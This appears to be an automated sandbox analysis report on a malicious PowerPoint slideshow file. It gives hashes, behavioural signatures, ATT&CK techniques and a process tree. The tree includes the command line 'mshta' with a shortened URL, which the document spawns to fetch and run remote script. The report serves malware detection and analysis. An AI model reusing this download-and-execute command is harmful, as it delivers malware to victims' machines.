Analysis

  • max time kernel
    124s
  • max time network
    177s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    20-07-2021 13:07

General

  • Target

    71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199.pps

  • Size

    81KB

  • MD5

    059e79d36927bb230e90376aa7528015

  • SHA1

    2448b57e97a917d01993c89b901ad2c21d413792

  • SHA256

    71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199

  • SHA512

    667451539ea0809ba9de6ea23d703d8641bf3d3df417fc0c48a13584b5cc6d3f1fc97468af98c3f8dbc73d4ed79e3f52aaee372a4a2f0d77019ba9328ec345fc

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 16 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199.pps"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1092
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1064
      • C:\Windows\SysWOW64\mshta.exe
        mshta https://www.bitly.com/eyuiqwhdbkmasbdma
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        PID:976

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Replay Monitor

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    Downloads

    • memory/976-64-0x0000000000000000-mapping.dmp
    • memory/976-65-0x0000000075AA1000-0x0000000075AA3000-memory.dmp
      Filesize

      8KB

    • memory/1064-62-0x0000000000000000-mapping.dmp
    • memory/1064-63-0x000007FEFB891000-0x000007FEFB893000-memory.dmp
      Filesize

      8KB

    • memory/1092-59-0x0000000074001000-0x0000000074005000-memory.dmp
      Filesize

      16KB

    • memory/1092-60-0x0000000071091000-0x0000000071093000-memory.dmp
      Filesize

      8KB

    • memory/1092-61-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB